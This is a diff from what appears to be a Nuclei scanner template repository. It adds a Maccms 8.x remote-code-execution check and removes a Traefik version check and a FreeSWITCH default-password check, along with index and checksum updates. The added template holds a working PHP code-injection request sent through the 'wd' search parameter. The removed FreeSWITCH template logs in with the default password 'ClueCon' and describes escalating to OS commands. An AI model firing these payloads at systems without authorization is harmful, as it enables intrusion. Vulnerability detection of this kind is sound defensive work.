CVE-2017-17733 - Maccms 8.x - Remote Code Execution

.new-additions

@@ -2,7 +2,6 @@ http/cves/2017/CVE-2017-5963.yaml
 http/cves/2021/CVE-2021-44868.yaml
 http/cves/2022/CVE-2022-30047.yaml
 http/cves/2023/CVE-2023-49606.yaml
-http/cves/2024/CVE-2026-65600.yaml
 http/cves/2025/CVE-2025-4283.yaml
 http/cves/2025/CVE-2025-60021.yaml
 http/cves/2025/CVE-2025-69985.yaml
@@ -17,4 +16,3 @@ http/cves/2026/CVE-2026-64858.yaml
 http/cves/2026/CVE-2026-81648.yaml
 http/cves/2026/CVE-2026-96654.yaml
 http/cves/2026/CVE-2026-96656.yaml
-network/cves/2019/CVE-2019-19492.yaml

cves.json

@@ -3539,7 +3539,6 @@
 {"ID":"CVE-2024-9916","Info":{"Name":"HuangDou UTCMS V9 - OS Command Injection","Severity":"high","Description":"A vulnerability, which was classified as critical, has been found in HuangDou UTCMS V9. Affected by this issue is some unknown functionality of the file app/modules/ut-cac/admin/cli.php. The manipulation of the argument o leads to os command injection.The attack may be launched remotely. The exploit has been disclosed to the public and may be used.The vendor was contacted early about this disclosure but did not respond in any way.\n","Classification":{"CVSSScore":"7.3"}},"file_path":"http/cves/2024/CVE-2024-9916.yaml"}
 {"ID":"CVE-2024-9935","Info":{"Name":"PDF Generator Addon for Elementor Page Builder \u003c= 1.7.5 - Arbitrary File Download","Severity":"high","Description":"The PDF Generator Addon for Elementor Page Builder plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 1.7.5 via the rtw_pgaepb_dwnld_pdf() function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-9935.yaml"}
 {"ID":"CVE-2024-9989","Info":{"Name":"Crypto \u003c= 2.15 - Authentication Bypass","Severity":"critical","Description":"The Crypto plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 2.15. This is due a to limited arbitrary method call to 'crypto_connect_ajax_process::log_in' function in the 'crypto_connect_ajax_process' function. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they have access to the username.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-9989.yaml"}
-{"ID":"CVE-2026-65600","Info":{"Name":"Traefik - Authentication Bypass - Version Detection","Severity":"high","Description":"Traefik versions \u003c= v2.11.51, \u003e= v3.0.0 \u003c= v3.6.22, and \u003e= v3.7.0 \u003c= v3.7.6 contain an authentication bypass via path traversal in the ReplacePathRegex middleware (CVE-2026-65600). This template passively identifies vulnerable versions by reading the version reported on the Traefik API (/api/version), which is exposed when the dashboard/API is reachable (e.g. api.insecure=true or the api@internal service routed without auth).\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2026-65600.yaml"}
 {"ID":"CVE-2025-0107","Info":{"Name":"Palo Alto Networks Expedition - OS Command Injection","Severity":"critical","Description":"An OS command injection vulnerability in Palo Alto Networks Expedition enables an unauthenticated attacker to run arbitrary OS commands as the www-data user in Expedition, which results in the disclosure of usernames, cleartext passwords, device configurations, and device API keys for firewalls running PAN-OS software.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-0107.yaml"}
 {"ID":"CVE-2025-0108","Info":{"Name":"PAN-OS Management Interface - Path Confusion to Authentication Bypass","Severity":"critical","Description":"A vulnerability in PAN-OS management interface allows authentication bypass through path confusion between Nginx and Apache handlers.The issue occurs due to differences in path processing between Nginx and Apache, where double URL encoding combined with directory traversal can bypass authentication checks enforced by X-pan-AuthCheck header.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2025/CVE-2025-0108.yaml"}
 {"ID":"CVE-2025-0133","Info":{"Name":"PAN-OS - Reflected Cross-Site Scripting","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability in the GlobalProtect™ gateway and portal features of Palo Alto Networks PAN-OS® software enables execution of malicious JavaScript in the context of an authenticated Captive Portal user's browser when they click on a specially crafted link.The primary risk is phishing attacks that can lead to credential theft—particularly if you enabled Clientless VPN.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-0133.yaml"}

cves.json-checksum.txt

@@ -1 +1 @@
-07011d8ec3a0e133b97d23e7c9cd52b5
+6b887acb1b9217486edbacd08afb9713

http/cves/2017/CVE-2017-17733.yaml

@@ -0,0 +1,43 @@
+id: CVE-2017-17733
+
+info:
+  name: Maccms 8.x - Remote Code Execution
+  author: DhiyaneshDk
+  severity: critical
+  description: |
+    Maccms 8.x is vulnerable to unauthenticated remote code execution via the 'wd' (search keyword) parameter of index.php?m=vod-search (CVE-2017-17733). The MacCMS template parser compiles the {if-A:<expr>}...{endif-A} tag into PHP that evaluates <expr>, so a crafted wd value runs arbitrary PHP (and OS commands via system/exec). This template injects print(md5(<nonce>)) and confirms code execution when the nonce's md5 is reflected in the response. The payload is PHP-native (no shell command), so it fires on both Windows and Linux hosts.
+  impact: |
+    An unauthenticated remote attacker executes arbitrary PHP and OS commands as the web-server user, fully compromising the Maccms host.
+  remediation: |
+    Upgrade Maccms to a fixed release and disable evaluation of user-controlled template {if} expressions. Restrict access to the application.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-17733
+    - https://www.cvedetails.com/cve/CVE-2017-17733/
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2017-17733
+    cwe-id: CWE-94
+  metadata:
+    verified: true
+    max-request: 1
+    shodan-query: http.html:"MacCms"
+    fofa-query: app="maccms"
+  tags: cve,cve2017,maccms,rce,injection,kev,vkev
+
+variables:
+  num: "{{rand_int(10000000, 99999999)}}"
+
+http:
+  - raw:
+      - |
+        GET /index.php?m=vod-search&wd={if-A:print(md5({{num}}))}{endif-A} HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - "status_code == 200"
+          - "contains(body, md5(num))"
+        condition: and

http/cves/2024/CVE-2026-65600.yaml

@@ -1,63 +0,0 @@
-id: CVE-2026-65600
-
-info:
-  name: Traefik - Authentication Bypass - Version Detection
-  author: DhiyaneshDk
-  severity: high
-  description: |
-    Traefik versions <= v2.11.51, >= v3.0.0 <= v3.6.22, and >= v3.7.0 <= v3.7.6 contain an authentication bypass via path traversal in the ReplacePathRegex middleware (CVE-2026-65600). This template passively identifies vulnerable versions by reading the version reported on the Traefik API (/api/version), which is exposed when the dashboard/API is reachable (e.g. api.insecure=true or the api@internal service routed without auth).
-  impact: |
-    On an affected version configured with a ReplacePathRegex capture group lacking a mandatory separator, an unauthenticated attacker can bypass BasicAuth, ForwardAuth, or DigestAuth middleware and reach protected backend routes.
-  remediation: |
-    Update to Traefik v2.11.52, v3.6.23, or v3.7.7 or later, and do not expose the Traefik dashboard/API unauthenticated on an internet-facing entrypoint.
-  reference:
-    - https://github.com/traefik/traefik/security/advisories/GHSA-cxjq-mrr5-89rv
-    - https://nvd.nist.gov/vuln/detail/CVE-2026-65600
-    - https://www.vulncheck.com/advisories/traefik-before-authentication-bypass-via-replacepathregex
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
-    cvss-score: 7.5
-    cve-id: CVE-2026-65600
-    cwe-id: CWE-22
-  metadata:
-    verified: true
-    max-request: 1
-    vendor: traefik
-    product: traefik
-    shodan-query: http.title:"Traefik"
-    fofa-query: app="Traefik"
-  tags: cve,cve2026,traefik,auth-bypass,kev,vkev,passive
-
-http:
-  - method: GET
-    path:
-      - "{{BaseURL}}/api/version"
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - '"Version"'
-          - '"Codename"'
-        condition: and
-
-      - type: dsl
-        dsl:
-          - "compare_versions(version, '<= 2.11.51') || (compare_versions(version, '>= 3.0.0') && compare_versions(version, '<= 3.6.22')) || (compare_versions(version, '>= 3.7.0') && compare_versions(version, '<= 3.7.6'))"
-
-    extractors:
-      - type: regex
-        name: version
-        internal: true
-        part: body
-        group: 1
-        regex:
-          - '"[Vv]ersion":\s*"v?([0-9]+\.[0-9]+\.[0-9]+)"'
-
-      - type: regex
-        part: body
-        group: 1
-        regex:
-          - '"[Vv]ersion":\s*"(v?[0-9]+\.[0-9]+\.[0-9]+)"'
-# digest: 490a00463044022002541ef7476584c95d51dabd5ed2701ea79a7991b55819e92a9af26415212efd02205f7671a95fad6404ba4c3e27e4c99c0d1cd41328dae123a149e9dc039fe30545:922c64590222798bb761d5b6d8e72950

network/cves/2019/CVE-2019-19492.yaml

@@ -1,46 +0,0 @@
-id: CVE-2019-19492
-
-info:
-  name: FreeSWITCH Event Socket - Default Credentials (ClueCon)
-  author: DhiyaneshDk
-  severity: critical
-  description: |
-    FreeSWITCH (1.6.10 through 1.10.1, and any deployment that exposes mod_event_socket with its shipped configuration) ships event_socket.conf.xml with the hard-coded default password "ClueCon" (CVE-2019-19492, CWE-798). When the Event Socket Layer (ESL, TCP 8021) is reachable and the default password is unchanged, an unauthenticated remote attacker authenticates with "ClueCon" and gains full control of the switch - issuing FreeSWITCH API commands including bgapi system <cmd> for OS command execution. This template connects to the ESL port and confirms the default password is accepted (+OK accepted).
-  impact: |
-    An attacker who authenticates to the Event Socket with the default password runs arbitrary FreeSWITCH API and OS commands (system / bgapi system), originates and intercepts calls, and reads configuration and credentials - full compromise of the telephony platform, as root in common deployments.
-  remediation: |
-    Change the Event Socket password in event_socket.conf.xml from the default "ClueCon", set listen-ip to 127.0.0.1, apply an apply-inbound-acl, and never expose TCP 8021 to untrusted networks. Upgrade to FreeSWITCH 1.10.2 or later (binds the Event Socket to loopback by default).
-  reference:
-    - https://nvd.nist.gov/vuln/detail/CVE-2019-19492
-    - https://vuldb.com/?id.146568
-    - https://github.com/signalwire/freeswitch
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2019-19492
-    cwe-id: CWE-798
-  metadata:
-    verified: true
-    max-request: 1
-    shodan-query: product:"FreeSWITCH"
-    fofa-query: app="FreeSWITCH"
-  tags: cve,cve2019,freeswitch,default-login,esl,network,kev,vkev
-
-tcp:
-  - inputs:
-      - read: 1024
-      - data: "auth ClueCon\n\n"
-    host:
-      - "{{Hostname}}"
-
-    port: 8021
-
-    read-size: 2048
-
-    matchers:
-      - type: word
-        words:
-          - "command/reply"
-          - "+OK accepted"
-        condition: and
-# digest: 4a0a00473045022032bede06a6f3de23e881f113b84e72e193db2659c5adce59f87acb2c103e758a022100d549ad1fdce759ac3f6be7501af295027000f71cd700e249fbfc18757fb34291:922c64590222798bb761d5b6d8e72950

templates-checksum.txt

@@ -980,8 +980,8 @@ code/windows/enumeration/unquoted-service-paths.yaml:2663d300b15940f45ad54d0e731
 code/windows/enumeration/weak-service-binary-permissions.yaml:8780198c798f69ccf2a8ae801d53f558f1909e8c
 code/windows/get-stored-credentials-cmdkey.yaml:0355b4ae1b0a1fdac60cea737538510bdebe6382
 contributors.json:2f5b14e6c7656a7e0ba252b98f92df058186148b
-cves.json:4e6c32af88c86096dfe2bbcea773098adaa39bbc
-cves.json-checksum.txt:3d3780d20754eb53a2638a6a2cbdac00eb0b939f
+cves.json:f181aa05779a5d5cf32f03897e786602b8c2e554
+cves.json-checksum.txt:77ca51077f45c243d0d1dc273c90fe9bef7a4fac
 dast/ai/ai-code-execution.yaml:22499b9349751bc0841e3c87a9ad36f17d98c565
 dast/ai/ai-data-exfiltration.yaml:7c3b8514ff64b5ba6737ee77bf3c71a074e9540c
 dast/ai/ai-prompt-injection.yaml:509eeec9e6458911087a2f93e2358a4b5e285429
@@ -5628,7 +5628,6 @@ http/cves/2024/CVE-2024-9796.yaml:a5441019402ed3bdcfc8e011a18c67042004c232
 http/cves/2024/CVE-2024-9916.yaml:152867c8c6d71461169fb29b99661987cfb7ad7b
 http/cves/2024/CVE-2024-9935.yaml:56cfaed21c687f57397379a4d7e009e9e5433597
 http/cves/2024/CVE-2024-9989.yaml:4633b9c082d102c5375f55aff6beafd7d3f7dd75
-http/cves/2024/CVE-2026-65600.yaml:87024b62d1f640907c338da606433906d9f4de51
 http/cves/2025/CVE-2025-0107.yaml:3922ded3c6534813fdac7589e84053dd09734f31
 http/cves/2025/CVE-2025-0108.yaml:c4c7f3757ba3173d97d34c684e702597932141e7
 http/cves/2025/CVE-2025-0133.yaml:d30c5f8768443910fbc8a058cde4d7e54eda656e
@@ -14057,7 +14056,6 @@ network/cves/2017/CVE-2017-5645.yaml:4ca7e447491db163d5996bcca206a706b0ce3474
 network/cves/2018/CVE-2018-2628.yaml:a75b64d365c82605e8eefbbdf2a085e3aa16108b
 network/cves/2018/CVE-2018-2893.yaml:7f76b60ec2663e664a246dddeeb8592b0cdf1d10
 network/cves/2019/CVE-2019-18217.yaml:af4d477df80b45ea51328e342f6cf8f2730090f3
-network/cves/2019/CVE-2019-19492.yaml:f2faaf6bdfd2cae39d63df150c048c9fadb385d5
 network/cves/2019/CVE-2019-20176.yaml:3fcf427cfc778a62b272da0996b6cf9f0ae8c6f5
 network/cves/2019/CVE-2019-5544.yaml:b05d00251407d2edf7700b347150cc34d96c1159
 network/cves/2020/CVE-2020-0796.yaml:6f0228bce2246daefd7bf279bd9eef8b3a723169
@@ -14370,7 +14368,7 @@ ssl/tls-version.yaml:396e167fe4dc47cc31a3823287f767ac4ba3ed6d
 ssl/untrusted-root-certificate.yaml:bc78917f6ed97df44ec66fd168e6d3d51f2050a9
 ssl/weak-cipher-suites.yaml:a2c5b71896965bcbb458e1d2a5bcf54981301156
 ssl/wildcard-tls.yaml:93487bb9d9c28bf84ae1928887b0dafef67b4117
-templates-checksum.txt:996eb14827b9fd8a285057e7dad342cdee733289
+templates-checksum.txt:a5b8a5f986aa210c0701a266ada71dd6cde13f7e
 websocket/cves/2026/CVE-2026-102489.yaml:084e9d2c157e290d6a465070bf26a79db3e72a76
 workflows/74cms-workflow.yaml:bb010e767ad32b906153e36ea618be545b4e22d0
 workflows/acrolinx-workflow.yaml:8434089bb55dec3d7b2ebc6a6f340e73382dd0c4